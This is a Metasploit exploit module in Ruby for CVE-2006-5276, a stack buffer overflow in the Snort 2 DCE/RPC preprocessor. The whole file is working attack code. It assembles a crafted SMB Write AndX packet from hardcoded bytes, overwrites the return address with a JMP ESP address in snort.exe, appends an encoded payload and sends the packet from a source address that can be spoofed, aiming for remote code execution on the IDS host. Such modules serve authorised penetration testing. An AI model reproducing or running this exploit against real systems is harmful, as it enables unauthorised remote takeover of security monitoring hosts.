##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Capture
 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'Snort 2 DCE/RPC preprocessor Buffer Overflow',
   'Description'     => %q{
     This module allows remote attackers to execute arbitrary code by exploiting the
    Snort service via crafted SMB traffic. The vulnerability is due to a boundary
    error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,
    which may result a stack-based buffer overflow with a specially crafted packet
    sent on a network that is monitored by Snort.

    Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.

    Any host on the Snort network may be used as the remote host. The remote host does not
    need to be running the SMB service for the exploit to be successful.
   },
   'Author'          =>
    [
     'Neel Mehta', #Original discovery (IBM X-Force)
     'Carsten Maartmann-Moe <carsten[at]carmaa.com>'  #Metasploit
    ],
   'License'         => MSF_LICENSE,
   'Platform'        => 'win',
   'References'      =>
    [
     [ 'OSVDB', '67988' ],
     [ 'CVE', '2006-5276' ],
     [ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
    ],
   'DefaultOptions'  =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'         =>
    {
     'Space'         => 390,
     'BadChars'      => "\x00",
     'DisableNops'   => true,
    },
   'Targets'         =>
    [
     [
      'Windows Universal',
      {
       'Ret'    => 0x00407c01,  # JMP ESP snort.exe
       'Offset' => 289          # The number of bytes before overwrite
      }
     ],
    ],
   'Privileged'      => true,
   'DisclosureDate'  => 'Feb 19 2007',
   'DefaultTarget'   => 0))

  register_options(
   [
    Opt::RPORT(139),
    OptAddress.new('RHOST', [ true,  'A host on the Snort-monitored network' ]),
    OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])
   ], self.class)

  deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
 end

 def exploit
  open_pcap

  shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)

  p = buildpacket(shost, rhost, rport.to_i)

  print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")

  capture_sendto(p, rhost)

  handler
 end

 def buildpacket(shost, rhost, rport)
  p = PacketFu::TCPPacket.new
  p.ip_saddr = shost
  p.ip_daddr = rhost
  p.tcp_dport = rport
  p.tcp_flags.psh = 1
  p.tcp_flags.ack = 1

  # SMB packet borrowed from http://exploit-db.com/exploits/3362

  # NetBIOS Session Service, value is the number of bytes in the TCP segment,
  # must be greater than the total size of the payload. Statically set.
  header = "\x00\x00\xde\xad"

  # SMB Header
  header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
  header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
  header << "\x00\x08\x30\x00"

  # Tree Connect AndX Request
  header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
  header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
  header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
  header << "\x3f\x3f\x3f\x3f\x3f\x00"

  # NT Create AndX Request
  header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
  header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
  header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
  header << "\x63\x00\x00\x00"

  # Write AndX Request #1
  header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
  header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
  header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
  header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
  header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
  header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
  header << "\x2b\x10\x48\x60\x02\x00\x00\x00"

  # Write AndX Request #2
  header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
  header << "\x00\x48\x00\x00\x00\xff\x01"

  tail = "\x00\x00\x00\x00\x49\x00\xee"

  # Return address
  eip =  [target['Ret']].pack('V')

  # Sploit
  sploit = make_nops(10)
  sploit << payload.encoded

  # Padding (to pass size check)
  sploit << make_nops(1)

  # The size to be included in Write AndX Request #2, including sploit payload
  requestsize = [(sploit.size() + target['Offset'])].pack('v')

  # Assemble the parts into one package
  p.payload = header << requestsize << tail << eip << sploit
  p.recalc

  p
 end
end